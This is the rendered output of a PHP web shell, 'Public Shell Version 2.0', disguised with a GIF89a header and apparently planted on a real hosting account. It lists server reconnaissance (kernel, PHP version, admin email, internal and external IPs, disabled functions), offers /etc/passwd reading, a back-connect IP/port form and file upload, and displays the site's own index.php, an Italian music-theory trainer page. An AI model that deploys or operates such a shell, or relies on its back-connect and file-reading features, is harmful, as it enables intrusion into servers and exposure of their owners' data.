GIF89a

Public Shell


Uname : Linux hlpi1ws-c319s07.ad.aruba.it 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
PHP Version : 5.3.29
Server Admin : postmaster@www.giancio.com
Server IP : 192.168.3.109 Your IP : 18.117.252.33
Safe Mode : Safe Mode is OFF
Read etc/passwd : Disabled Functions : PHP INFO
Back Connect
IP : PORt :
'; Public Shell Version 2.0
Disable Functions: system,popen,dl,passthru,proc_open,shell_exec
Current Path : /web/htdocs/www.giancio.com/home/buonamusica/
File Upload :
Current File : /web/htdocs/www.giancio.com/home/buonamusica/index.php

<!doctype html>
<html lang="en" class="h-100">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="lifelong learning">
    <meta name="author" content="Giampiero Carella bassista testone">
    <title>Buona Musica</title>
    <link rel="canonical" href="https://www.stracooldesign.it/buonamusica/">

    <!-- Bootstrap core CSS -->
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
    <!-- Custom CSS -->

    <link rel="preconnect" href="https://fonts.gstatic.com">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" rel="stylesheet">

    <link href="https://fonts.googleapis.com/css2?family=Archivo:wght@700&display=swap" rel="stylesheet">
    <link rel="stylesheet" type="text/css" href="css/style.css"/>
    <!-- Favicons to create-->
    <link rel="icon" href="favicon.ico" />

</head>

<body class="d-flex flex-column h-100">
<header>
    <!-- Fixed navbar -->
    <?php include ('include/nav.php');?>
</header>

<!-- Begin page content -->
<main role="main" class="flex-shrink-0">
    <div class="m-4 text-center">
        <div class="row">
            <div class="col-md-3">
                <!--PULSANTIERA -->
                <div class="row">
                    <div class="col-md-12">
                        <!---DISPLAY NOTE -->
                        <div id="displayNote" class="text-center"><i class="fa fa-music text-grey"></i> </div>
                        <div id="commandBar" class="">

                            <!--                    <div class="btn-group float-left" role="group" aria-label="First group">-->
                            <!--                        <a href="#" class="btn btn-sm btn-secondary">DO</a>-->
                            <!--                        <a href="#" class="btn btn-sm btn-secondary">RE</a>-->
                            <!--                        <a href="#" class="btn btn-sm btn-secondary">MI</a>-->
                            <!--                        <a href="#" class="btn btn-sm btn-secondary">FA</a>-->
                            <!--                        <a href="#" class="btn btn-sm btn-secondary">SOL</a>-->
                            <!--                        <a href="#" class="btn btn-sm btn-secondary">LA</a>-->
                            <!--                        <a href="#" class="btn btn-sm btn-secondary">SI</a>-->
                            <!--                    </div>-->

                            <div class="btn-group float-left" role="group" aria-label="First group">
                                <a id="en" href="#" onclick="switchNotation('en')">C#</a>
                                <a id="it" href="#" onclick="switchNotation('it')">DO#</a>
                                <!--                        <a href="#" class="" id="showhide" data-toggle="collapse" data-target="#contenuto" aria-expanded="true" aria-controls="contenuto"><i class="fas fa-angle-up"></i> Nascondi</a>-->
                            </div>

                            <div class="btn-group float-right" role="group" aria-label="First group">
                                <a class="" id="leftButton" onclick="skip('rew')"><i class="fa fa-angle-left"></i></a>
                                <a class="" id="rightButton" onclick="skip('fwd')"><i class="fa fa-angle-right"></i></a>

                            </div>
                        </div>
                    </div>
                    <div class="col-md-12">
                        <div class="row">
                        <!---SCEGLI UNA NOTA -->
                        <div class="col-12 col-md-12 mb-2">
                            <div class="input-group">
                                <div class="input-group-prepend">
                                    <span class="input-group-text text-white bg-dark"><i class="fa fa-music"></i></span>
                                </div>
                                <select class="form-control" id="note" name="note" onchange="sceltanota()">
                                    <option value="X">Scegli una nota</option>
                                    <option value="0">DO</option>
                                    <option value="1">DO#</option>
                                    <option value="2">REb</option>
                                    <option value="3">RE</option>
                                    <option value="4">RE#</option>
                                    <option value="5">MIb</option>
                                    <option value="6">MI</option>
                                    <option value="7">FA</option>
                                    <option value="8">FA#</option>
                                    <option value="9">SOLb</option>
                                    <option value="10">SOL</option>
                                    <option value="11">SOL#</option>
                                    <option value="12">LAb</option>
                                    <option value="13">LA</option>
                                    <option value="14">LA#</option>
                                    <option value="15">SIb</option>
                                    <option value="16">SI</option>
                                </select>
                            </div>
                        </div>
                        <!---RANDOM NOTE -->
                        <div class="col-12 col-md-12  mb-2">
                            <button class="btn btn-dark btn-block text-center" onclick="getRandomNote()"><i class="fa fa-music"></i> Nota a caso</button>
                        </div>
                        <!---AUTOPLAY -->
                        <div class="col-12 col-md-12 mb-2">
                            <div class="input-group">
                                <div class="input-group-prepend">
                                    <button id="autoNoteButton" class="btn btn-danger btn-block text-center" onclick="getAutoNote('start')"><i class="fa fa-play"></i></button>
                                </div>
                                <select class="form-control" id="secondi" name="secondi">
                                    <option value="1">1 sec.</option>
                                    <option value="2">2 sec.</option>
                                    <option value="3">3 sec.</option>
                                    <option value="4">4 sec.</option>
                                    <option value="5">5 sec.</option>
                                    <option value="6">6 sec.</option>
                                    <option value="7">7 sec.</option>
                                    <option value="8">8 sec.</option>
                                    <option value="9">9 sec.</option>
                                    <option value="10">10 sec.</option>
                                </select>
                                <button id="stop" class="btn btn-danger btn-block text-center" onclick="getAutoNote('stop')">STOP</button>
                            </div>
                        </div>
                        <div class="col-12 col-md-12">
                            <ul class="nav nav-tabs">
                                <li class="nav-item dropdown">
                                    <a class="btn-block nav-link dropdown-toggle" data-toggle="dropdown" href="#" role="button" aria-haspopup="true" aria-expanded="false">MENU</a>
                                    <div class="dropdown-menu">
                                        <a class="nav-link btn-light btn-block" id="pills-home-tab" data-toggle="pill" href="#pills-scale" role="tab" aria-controls="pills-scale" aria-selected="true">Scala Maggiore</a>
                                        <a class="nav-link btn-light btn-block " id="pills-dita-tab" data-toggle="pill" href="#pills-dita" role="tab" aria-controls="pills-dita" aria-selected="false">Modi</a>
                                        <a class="nav-link btn-light btn-block" id="pills-circolo5-tab" data-toggle="pill" href="#pills-circolo5" role="tab" aria-controls="pills-circolo5" aria-selected="false">Circolo delle Quinte</a>
                                        <a class="nav-link btn-light btn-block" id="pills-251-tab" data-toggle="pill" href="#pills-251" role="tab" aria-controls="pills-251" aria-selected="false">II° - V° - I°</a>
                                        <a class="nav-link btn-light btn-block " id="pills-inferno-tab" data-toggle="pill" href="#pills-inferno" role="tab" aria-controls="pills-inferno" aria-selected="false">Esercizio Infernale</a>

                                    </div>
                                </li>
                            </ul>

                        </div>
                        </div>
                    </div>

                </div>
                <!-- TABS -->

            </div>
            <div class="col-md-9">
                <div class="collapse show bordergrey" id="contenuto">
                    <div class="card text-left">
                        <div class="card-body">
                            <!-- TAB SCALE -->
                            <div class="tab-content" id="pills-tabContent">
                                <div class="tab-pane fade show active" id="pills-scale" role="tabpanel" aria-labelledby="pills-scale-tab">

                                    <!-- PUKSANTIERA-->
                                    <div class="pull-left">
                                        <button class="btn btn-light btn-sm" onclick="evidenziatutti(0)"><i class="fa fa-check"></i> </button>
                                        <button class="btn btn-light btn-sm" onclick="disattivatutti(0)"><i class="fa fa-remove"></i></button>
                                        <button class="btn btn-light btn-sm" onclick="triade(0)"><b>Triadi</b></button>
                                        <button class="btn btn-light btn-sm" onclick="quadriade(0)"><b>Quadriadi</b></button>
                                    </div>

                                    <!-- INTERVALLI-->
                                    <div id="" class="row p-3">
                                        <div class="col-2">
                                        <b>INT</b>
                                        </div>

                                            <div class="col-10">
                                                <div class="row">
                                                    <div id="" class="col-1 text-center p-1">
                                                        <button id="hide_primogradoInt" class="tit btn btn-sm  btn-light btn-lg" onclick="primogradoIntShow()"><b>U</b></button>
                                                        <button id="show_primogradoInt" class="tit btn btn-sm  btn-dark btn-lg" onclick="primogradoInt()"><b>U</b></button>
                                                    </div>
                                                    <div id="" class="col-2 text-center p-1">
                                                        <button id="hide_secondogradoInt" class="tit btn btn-sm  btn-light btn-lg" onclick="secondogradoIntShow()"><b>2a</b></button>
                                                        <button id="show_secondogradoInt" class="tit btn btn-sm  btn-dark btn-lg" onclick="secondogradoInt()"><b>2a</b></button>
                                                    </div>
                                                    <div id="" class="col-2 text-center p-1">
                                                        <button id="hide_terzogradoInt" class="tit btn btn-sm  btn-light btn-lg" onclick="terzogradoIntShow()"><b>3a</b></button>
                                                        <button id="show_terzogradoInt" class="tit btn btn-sm  btn-dark btn-lg" onclick="terzogradoInt()"><b>3a</b></button>
                                                    </div>
                                                    <div id="" class="col-1 text-right p-1">
                                                        <button id="hide_quartogradoInt" class="tit btn btn-sm  btn-light btn-lg" onclick="quartogradoIntShow()"><b>4a</b></button>
                                                        <button id="show_quartogradoInt" class="tit btn btn-sm  btn-dark btn-lg" onclick="quartogradoInt()"><b>4a</b></button>
                                                    </div>
                                                    <div id="" class="col-1 text-center  p-1"></div>
                                                    <div id="" class="col-1 text-left p-1">
                                                        <button id="hide_quintogradoInt" class="tit btn btn-sm  btn-light btn-lg" onclick="quintogradoIntShow()"><b>5a</b></button>
                                                        <button id="show_quintogradoInt" class="tit btn btn-sm  btn-dark btn-lg" onclick="quintogradoInt()"><b>5a</b></button>
                                                    </div>
                                                    <div id="" class="col-2 text-center p-1">
                                                        <button id="hide_sestogradoInt" class="tit btn btn-sm  btn-light btn-lg" onclick="sestogradoIntShow()"><b>6a</b></button>
                                                        <button id="show_sestogradoInt" class="tit btn btn-sm  btn-dark btn-lg" onclick="sestogradoInt()"><b>6a</b></button>
                                                    </div>
                                                    <div id="" class="col-2 text-center p-1">
                                                        <button id="hide_settimogradoInt" class="tit btn btn-sm  btn-light btn-lg" onclick="settimogradoIntShow()"><b>7a</b></button>
                                                        <button id="show_settimogradoInt" class="tit btn btn-sm  btn-dark btn-lg" onclick="settimogradoInt()"><b>7a</b></button>
                                                    </div>
                                                </div>
                                    </div>
                                        </div>

                                    <!---MODO IONICO -->
                                    <div class="collapse show" id="modoIonico_coll">

                                    <div id="modoIonico" class="row p-3">
                                        <div class="col-2">
                                            <button id="hide_primogrado" class="btn btn-sm btn-light" onclick="primogradoShow()"><b>I° M</b></button>
                                            <button id="show_primogrado" class="btn btn-sm btn-dark" onclick="primogrado()"><b>I° M</b></button>
                                        </div>
                                        <div class="col-10">
                                            <div class="row">

                                        <div id="display1gradoIonico" class="notes primogrado col-1 giusta"><i class="fa fa-music"></i></div>
                                        <div id="" class="notes col-1"></div>
                                        <div id="display2gradoIonico" class="notes secondogrado col-1 maggiore"><i class="fa fa-music"></i></div>
                                        <div id="" class="notes col-1"></div>
                                        <div id="display3gradoIonico" class="notes terzogrado col-1 maggiore"><i class="fa fa-music"></i></div>
                                        <div id="display4gradoIonico" class="notes quartogrado col-1 giusta"><i class="fa fa-music"></i></div>
                                        <div id="" class="notes col-1"></div>
                                        <div id="display5gradoIonico" class="notes quintogrado col-1 giusta"><i class="fa fa-music"></i></div>
                                        <div id="" class="notes col-1"></div>
                                        <div id="display6gradoIonico" class="notes sestogrado col-1 maggiore"><i class="fa fa-music"></i></div>
                                        <div id="" class="notes col-1"></div>
                                        <div id="display7gradoIonico" class="notes settimogrado col-1 maggiore"><i class="fa fa-music"></i></div>
                                        </div>
                                        </div>
                                    </div>
                                    </div>
<!--                                    <a class="" data-toggle="collapse" href="#modoIonico_coll" role="button" aria-expanded="true" aria-controls="modoIonico_coll"><b>I° M - Modo Ionico</b></a><br>-->

                                    <!---MODO DORICO-->
                                    <div class="collapse show" id="modoDorico_coll">
            <!--                            <h6>II ° | Minore | Dorico</h6>-->
                                        <div id="modoDorico" class="row p-3">
                                            <div class="col-2">
                                                <button id="hide_secondogrado" class="btn btn-sm  btn-light" onclick="secondogradoShow()"><b>II° m</b></button>
                                                <button id="show_secondogrado" class="btn btn-sm  btn-dark" onclick="secondogrado()"><b>II° m</b></button>
                                            </div>
                                            <div class="col-10">
                                                <div class="row">
                                            <div id="display1gradoDorico" class="notes primogrado  col-1 giusta"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display2gradoDorico" class="notes secondogrado col-1 maggiore"><i class="fa fa-music"></i></div>
                                            <div id="display3gradoDorico" class="notes terzogrado col-1 minore"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display4gradoDorico" class="notes quartogrado col-1 giusta"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display5gradoDorico" class="notes quintogrado col-1 giusta"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display6gradoDorico" class="notes sestogrado col-1 maggiore"><i class="fa fa-music"></i></div>
                                            <div id="display7gradoDorico" class="notes settimogrado col-1 minore"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
<!--                                    <a class="" data-toggle="collapse" href="#modoDorico_coll" role="button" aria-expanded="true" aria-controls="modoDorico_coll"><b>II° m - Modo Dorico</b></a><br>-->

                                    <!---MODO FRIGIO-->
                                    <div class="collapse show" id="modoFrigio_coll">
                                        <div id="modoFrigio" class="row p-3">
                                            <div class="col-2">
                                                <button id="hide_terzogrado" class="btn btn-sm  btn-light" onclick="terzogradoShow()"><b>III° m</b></button>
                                                <button id="show_terzogrado" class="btn btn-sm  btn-dark" onclick="terzogrado()"><b>III° m</b></button>
                                            </div>
                                            <div class="col-10">
                                                <div class="row">
                                            <div id="display1gradoFrigio" class="notes primogrado  col-1 giusta"><i class="fa fa-music"></i></div>
                                            <div id="display2gradoFrigio" class="notes secondogrado col-1 minore"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display3gradoFrigio" class="notes terzogrado col-1 minore"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display4gradoFrigio" class="notes quartogrado col-1 giusta"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display5gradoFrigio" class="notes quintogrado col-1 giusta"><i class="fa fa-music"></i></div>
                                            <div id="display6gradoFrigio" class="notes sestogrado col-1 minore"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display7gradoFrigio" class="notes settimogrado col-1 minore"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
<!--                                    <a class="" data-toggle="collapse" href="#modoFrigio_coll" role="button" aria-expanded="true" aria-controls="modoFrigio_coll"><b>III° m - Modo Frigio</b></a>-->

                                    <!---MODO LIDIO-->
                                    <div class="collapse show" id="modoLidio_coll">
                                        <div id="modoLidio" class="row p-3">
                                            <div class="col-2">
                                                <button id="hide_quartogrado" class="btn btn-sm  btn-light" onclick="quartogradoShow()"><b>IV° M</b></button>
                                                <button id="show_quartogrado" class="btn btn-sm  btn-dark" onclick="quartogrado()"><b>IV° M</b></button>

                                            </div>
                                            <div class="col-10">
                                                <div class="row">
                                            <div id="display1gradoLidio" class="notes primogrado col-1 giusta"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display2gradoLidio" class="notes secondogrado col-1 maggiore"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display3gradoLidio" class="notes terzogrado col-1 maggiore"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display4gradoLidio" class="notes quartogrado col-1 aumentato"><i class="fa fa-music"></i></div>
                                            <div id="display5gradoLidio" class="notes quintogrado col-1 giusta"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display6gradoLidio" class="notes sestogrado col-1 maggiore"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display7gradoLidio" class="notes settimogrado col-1 maggiore"><i class="fa fa-music"></i></div>
                                        </div>
                                            </div>
                                        </div>

                                    </div>
<!--                                    <a class="" data-toggle="collapse" href="#modoLidio_coll" role="button" aria-expanded="true" aria-controls="modoLidio_coll"><b>IV° M - Modo Lidio</b></a>-->

                                    <!---MODO MISOLIDIO -->
                                    <div class="collapse show" id="modoMisolidio_coll">

                                <div id="modoMisolidio" class="row p-3">
                                    <div class="col-2">
                                        <button id="hide_quintogrado" class="btn btn-sm  btn-light" onclick="quintogradoShow()"><b>V° M</b></button>
                                        <button id="show_quintogrado" class="btn btn-sm  btn-dark" onclick="quintogrado()"><b>V° M</b></button>
                                    </div>
                                    <div class="col-10">
                                        <div class="row">
                                    <div id="display1gradoMisolidio" class="notes primogrado col-1 giusta"><i class="fa fa-music"></i></div>
                                    <div id="" class="notes col-1"></div>
                                    <div id="display2gradoMisolidio" class="notes secondogrado col-1 maggiore"><i class="fa fa-music"></i></div>
                                    <div id="" class="notes col-1"></div>
                                    <div id="display3gradoMisolidio" class="notes terzogrado col-1 maggiore"><i class="fa fa-music"></i></div>
                                    <div id="display4gradoMisolidio" class="notes quartogrado col-1 giusta"><i class="fa fa-music"></i></div>
                                    <div id="" class="notes col-1"></div>
                                    <div id="display5gradoMisolidio" class="notes quintogrado col-1 giusta"><i class="fa fa-music"></i></div>
                                    <div id="" class="notes col-1"></div>
                                    <div id="display6gradoMisolidio" class="notes sestogrado col-1 maggiore"><i class="fa fa-music"></i></div>
                                    <div id="display7gradoMisolidio" class="notes settimogrado col-1 minore"><i class="fa fa-music"></i></div>
                                    <div id="" class="notes col-1"></div>
                                        </div>
                                    </div>
                                </div>

                            </div>
<!--                                    <a class="" data-toggle="collapse" href="#modoMisolidio_coll" role="button" aria-expanded="true" aria-controls="modoMisolidio_coll"><b>V° M - Misolidio</b></a>-->

                                    <!---MODO EOLICO-->
                                    <div class="collapse show" id="modoEolico_coll">
                                        <div id="modoEolico" class="row p-3">
                                            <div class="col-2">
                                                <button id="hide_sestogrado" class="btn btn-sm  btn-light" onclick="sestogradoShow()"><b>VI° M</b></button>
                                                <button id="show_sestogrado" class="btn btn-sm  btn-dark" onclick="sestogrado()"><b>VI° M</b></button>
                                            </div>
                                            <div class="col-10">
                                                <div class="row">
                                            <div id="display1gradoEolico" class="notes primogrado  col-1 giusta"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display2gradoEolico" class="notes secondogrado col-1 maggiore"><i class="fa fa-music"></i></div>
                                            <div id="display3gradoEolico" class="notes terzogrado col-1 minore"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display4gradoEolico" class="notes quartogrado col-1 giusta"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display5gradoEolico" class="notes quintogrado col-1 giusta"><i class="fa fa-music"></i></div>
                                            <div id="display6gradoEolico" class="notes sestogrado col-1 minore"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                            <div id="display7gradoEolico" class="notes settimogrado col-1 minore"><i class="fa fa-music"></i></div>
                                            <div id="" class="notes col-1"></div>
                                                </div>
                                            </div>
                                        </div>

                                    </div>
<!--                                    <a class="" data-toggle="collapse" href="#modoEolico_coll" role="button" aria-expanded="true" aria-controls="modoEolico_coll"><b>VI° m - Eolico</b></a>-->

                                    <!---MODO LOCRIO-->
                                    <div class="collapse show" id="modoLocrio_coll">
                                <div id="modoLocrio" class="row p-3">
                                    <div class="col-2">
                                        <button id="hide_settimogrado" class="btn btn-sm  btn-light" onclick="settimogradoShow()"><b>VII° m</b></button>
                                        <button id="show_settimogrado" class="btn btn-sm  btn-dark" onclick="settimogrado()"><b>VII° m</b></button>
                                    </div>
                                    <div class="col-10">
                                        <div class="row">
                                    <div id="display1gradoLocrio" class="notes primogrado  col-1 giusta"><i class="fa fa-music"></i></div>

                                    <div id="display2gradoLocrio" class="notes secondogrado col-1 minore"><i class="fa fa-music"></i></div>
                                    <div id="" class="notes col-1"></div>
                                    <div id="display3gradoLocrio" class="notes terzogrado col-1 minore"><i class="fa fa-music"></i></div>
                                    <div id="" class="notes col-1"></div>
                                    <div id="display4gradoLocrio" class="notes quartogrado col-1 giusta"><i class="fa fa-music"></i></div>
                                    <div id="display5gradoLocrio" class="notes quintogrado col-1 diminuito"><i class="fa fa-music"></i></div>
                                    <div id="" class="notes col-1"></div>
                                    <div id="display6gradoLocrio" class="notes sestogrado col-1 minore"><i class="fa fa-music"></i></div>
                                    <div id="" class="notes col-1"></div>
                                    <div id="display7gradoLocrio" class="notes settimogrado col-1 minore"><i class="fa fa-music"></i></div>
                                    <div id="" class="notes col-1"></div>
                                        </div>
                                    </div>
                                </div>
                            </div>
<!--                                    <a class="" data-toggle="collapse" href="#modoLocrio_coll" role="button" aria-expanded="true" aria-controls="modoLocrio_coll"><b>VII° m - Locrio</b></a>-->


                                </div>
                            </div>
                        </div>

                    </div>
                </div>
            </div>
        </div>
    </div>
</main>

<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
<script>window.jQuery || document.write('<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"><\/script>')</script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.bundle.min.js"></script>
<script src="https://kit.fontawesome.com/a17f5afabc.js" crossorigin="anonymous"></script>
<script
    src="https://code.jquery.com/jquery-2.2.4.min.js"
    integrity="sha256-BbhdlvQf/xTY9gja0Dq3HiwQF8LaCRTXxZKRutelT44="
    crossorigin="anonymous"></script>
<script type="text/javascript" src="js/buonamusica.js"></script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js
"></script>
<script type="text/javascript">
    $( document ).ready(function() {
        evidenzia();
        sceltanota()
    });
</script>
</body>
</html>

Public Shell Version 2.0